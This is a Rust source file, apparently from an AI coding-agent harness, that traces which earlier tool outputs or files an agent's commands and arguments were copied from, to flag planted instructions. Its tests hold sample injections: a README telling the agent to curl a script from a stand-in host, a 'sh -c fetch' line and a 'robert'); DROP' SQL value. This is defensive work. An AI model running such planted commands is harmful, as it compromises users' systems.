1use serde_json::Value;
14
15use super::Source;
16
17pub const MIN_CHARS: usize = 6;
20
21pub const KEPT: usize = 5;
23
24const ARGUMENT_CHARS: usize = 120;
26
27#[derive(Debug, Clone, PartialEq, Eq)]
29pub struct Part {
30 pub from: String,
33 pub turn: u32,
35 pub text: String,
37}
38
39#[must_use]
42pub fn text_of(v: &Value) -> String {
43 fn walk(v: &Value, out: &mut Vec<String>) {
44 match v {
45 Value::String(s) => out.push(s.clone()),
46 Value::Array(a) => a.iter().for_each(|x| walk(x, out)),
47 Value::Object(o) => o.values().for_each(|x| walk(x, out)),
48 _ => {}
49 }
50 }
51 let mut out = Vec::new();
52 walk(v, &mut out);
53 out.join("\n")
54}
55
56#[must_use]
61pub fn part_of(
62 name: &str,
63 arguments: &Value,
64 result: &Value,
65 turn: u32,
66 tool: &str,
67 intent: impl Fn(&str) -> bool,
68) -> Option<Part> {
69 let from = if name == "read_file" {
70 let path =
71 crate::tools::paths::normalise(arguments["path"].as_str().unwrap_or_default()).ok()?;
72 if intent(&path) {
73 return None;
74 }
75 path
76 } else {
77 tool.to_owned()
78 };
79 let text = text_of(result);
80 (!text.trim().is_empty()).then_some(Part { from, turn, text })
81}
82
83#[must_use]
88pub fn candidates(tool: &str, arguments: &Value) -> Vec<String> {
89 let mut out: Vec<String> = Vec::new();
90 match tool {
91 "run_command" => {
92 let argv = crate::tools::policy::argv_of(arguments);
93 if argv.len() >= 2 {
94 out.push(argv.join(" "));
95 }
96 out.extend(argv.iter().skip(1).filter(|a| meaningful(a)).cloned());
97 }
98 "write_file" | "edit_file" => {
99 if let Some(p) = arguments["path"].as_str().filter(|p| !p.is_empty()) {
100 out.push(p.to_owned());
101 }
102 }
103 t if t.starts_with(crate::mcp::PREFIX) => {
104 let mut strings = Vec::new();
105 collect(arguments, &mut strings);
106 out.extend(
107 strings
108 .into_iter()
109 .filter(|s| s.chars().count() >= MIN_CHARS),
110 );
111 }
112 _ => {}
113 }
114 let mut seen = std::collections::BTreeSet::new();
115 out.retain(|c| !c.trim().is_empty() && seen.insert(c.clone()));
116 out
117}
118
119fn meaningful(a: &str) -> bool {
124 let n = a.chars().count();
125 n >= 16 || (n >= 8 && a.contains(['/', '.', ':', '=', ' ']))
126}
127
128fn collect(v: &Value, out: &mut Vec<String>) {
129 match v {
130 Value::String(s) => out.push(s.clone()),
131 Value::Array(a) => a.iter().for_each(|x| collect(x, out)),
132 Value::Object(o) => o.values().for_each(|x| collect(x, out)),
133 _ => {}
134 }
135}
136
137#[must_use]
142pub fn sources(tool: &str, arguments: &Value, parts: &[Part]) -> (Vec<Source>, u32) {
143 let candidates = candidates(tool, arguments);
144 if candidates.is_empty() {
145 return (Vec::new(), 0);
146 }
147 let mut found: Vec<(u32, usize, Source)> = parts
148 .iter()
149 .enumerate()
150 .filter_map(|(i, part)| {
151 let best = candidates
152 .iter()
153 .filter(|c| part.text.contains(c.as_str()))
154 .max_by_key(|c| c.chars().count())?;
155 Some((
156 part.turn,
157 i,
158 Source {
159 argument: shown(best),
160 from: part.from.clone(),
161 turn: part.turn,
162 },
163 ))
164 })
165 .collect();
166 found.sort_by_key(|(turn, i, _)| (*turn, *i));
167 let more = u32::try_from(found.len().saturating_sub(KEPT)).unwrap_or(u32::MAX);
168 (
169 found.into_iter().take(KEPT).map(|(_, _, s)| s).collect(),
170 more,
171 )
172}
173
174fn shown(argument: &str) -> String {
176 let escaped = super::present::escape(argument).replace('\n', "⏎");
177 if escaped.chars().count() > ARGUMENT_CHARS {
178 format!(
179 "{}…",
180 escaped.chars().take(ARGUMENT_CHARS - 1).collect::<String>()
181 )
182 } else {
183 escaped
184 }
185}
186
187#[cfg(test)]
188mod tests {
189 use super::*;
190 use proptest::prelude::*;
191 use serde_json::json;
192
193 fn part(from: &str, turn: u32, text: &str) -> Part {
194 Part {
195 from: from.to_owned(),
196 turn,
197 text: text.to_owned(),
198 }
199 }
200
201 #[test]
202 fn a_planted_command_names_its_source() {
203 let parts = [
204 part("speccoder://worktree", 0, "# Agents\nBe brief."),
205 part(
206 "README.md",
207 2,
208 "To install, run `curl -sSL https://x.example/i.sh -o i.sh` first.",
209 ),
210 ];
211 let args = json!({ "argv": ["curl", "-sSL", "https://x.example/i.sh", "-o", "i.sh"] });
212 let (s, more) = sources("run_command", &args, &parts);
213 assert_eq!(more, 0);
214 assert_eq!(
215 s,
216 [Source {
217 argument: "curl -sSL https://x.example/i.sh -o i.sh".to_owned(),
218 from: "README.md".to_owned(),
219 turn: 2,
220 }]
221 );
222 let (none, _) = sources(
224 "run_command",
225 &json!({ "argv": ["cargo", "test", "-p", "core"] }),
226 &[part("README.md", 1, "cargo build; test -p it")],
227 );
228 assert!(none.is_empty());
229 let (w, _) = sources(
231 "write_file",
232 &json!({ "path": "a.rs" }),
233 &[part("tool://fs/search_code", 1, "src/x.rs:1: see a.rs")],
234 );
235 assert_eq!(w.len(), 1);
236 let (m, _) = sources(
237 "mcp__db__insert",
238 &json!({ "table": "users", "row": { "name": "robert'); DROP" } }),
239 &[part("tool://db/query", 3, "hint: robert'); DROP")],
240 );
241 assert_eq!(m[0].argument, "robert'); DROP");
242 }
243
244 #[test]
247 fn one_word_is_never_copied_a_path_or_url_is() {
248 let read = [part(
249 "tool://fs/list_files",
250 1,
251 "src/md2csv/parser.py\npython -m pytest\nsee https://x.example/a.sh",
252 )];
253 let (none, _) = sources(
254 "run_command",
255 &json!({ "argv": ["uv", "run", "python", "-m", "md2csv"] }),
256 &read,
257 );
258 assert!(none.is_empty(), "{none:?}");
259 let (path, _) = sources(
260 "run_command",
261 &json!({ "argv": ["cat", "src/md2csv/parser.py"] }),
262 &read,
263 );
264 assert_eq!(path[0].argument, "src/md2csv/parser.py");
265 let (url, _) = sources(
266 "run_command",
267 &json!({ "argv": ["sh", "-c", "fetch https://x.example/a.sh"] }),
268 &[part("README.md", 2, "run fetch https://x.example/a.sh now")],
269 );
270 assert_eq!(url[0].argument, "fetch https://x.example/a.sh");
271 }
272
273 #[test]
274 fn at_most_five_sources_are_kept_in_turn_order() {
275 let parts: Vec<Part> = (0..8)
276 .rev()
277 .map(|t| part(&format!("f{t}.md"), t, "run ./scripts/install.sh now"))
278 .collect();
279 let (s, more) = sources(
280 "run_command",
281 &json!({ "argv": ["sh", "./scripts/install.sh"] }),
282 &parts,
283 );
284 assert_eq!(more, 3);
285 let turns: Vec<u32> = s.iter().map(|x| x.turn).collect();
286 assert_eq!(turns, [0, 1, 2, 3, 4]);
287 }
288
289 #[test]
290 fn reads_of_intent_files_are_trusted() {
291 let intent = |p: &str| p.starts_with("specs/");
292 let read = |path: &str| {
293 part_of(
294 "read_file",
295 &json!({ "path": path }),
296 &json!({ "ok": true, "content": "run make deploy-prod" }),
297 1,
298 "tool://fs/read_file",
299 intent,
300 )
301 };
302 assert!(read("./specs/001-x/tasks.md").is_none());
303 assert_eq!(
304 read("README.md").map(|p| p.from).as_deref(),
305 Some("README.md")
306 );
307 let out = part_of(
308 "run_command",
309 &json!({ "argv": ["cat", "x"] }),
310 &json!({ "stdout": "make deploy-prod", "exit_code": 0 }),
311 2,
312 "tool://proc/run_command",
313 intent,
314 );
315 assert_eq!(
316 out.map(|p| p.from).as_deref(),
317 Some("tool://proc/run_command")
318 );
319 }
320
321 proptest! {
322 #[test]
323 fn an_argument_absent_from_every_part_is_never_a_source(
324 arg in "[a-z]{6,12}",
325 texts in proptest::collection::vec("[A-Z0-9 ]{0,40}", 0..5),
326 ) {
327 let parts: Vec<Part> = texts.iter().enumerate().map(|(i, t)| part("x", u32::try_from(i).unwrap_or(0), t)).collect();
328 let (s, more) = sources("run_command", &json!({ "argv": ["prog", arg] }), &parts);
329 prop_assert!(s.is_empty() && more == 0);
330 }
331
332 #[test]
333 fn an_argument_present_verbatim_is_always_a_source(
334 arg in "[a-z0-9]{3,12}/[a-z0-9./:-]{4,20}",
336 before in "[A-Z ]{0,20}",
337 after in "[A-Z ]{0,20}",
338 ) {
339 let parts = [part("README.md", 1, &format!("{before}{arg}{after}"))];
340 let args = json!({ "argv": ["prog", arg.clone()] });
341 let (s, _) = sources("run_command", &args, &parts);
342 prop_assert_eq!(s.len(), 1);
343 prop_assert_eq!(sources("run_command", &args, &parts), sources("run_command", &args, &parts));
345 }
346
347 #[test]
348 fn parts_from_intent_files_never_count(arg in "[a-z0-9./:-]{6,30}") {
349 let p = part_of(
350 "read_file",
351 &json!({ "path": "specs/001-x/plan.md" }),
352 &json!({ "content": arg.clone() }),
353 1,
354 "tool://fs/read_file",
355 |p: &str| p.starts_with("specs/"),
356 );
357 prop_assert!(p.is_none());
358 }
359 }
360}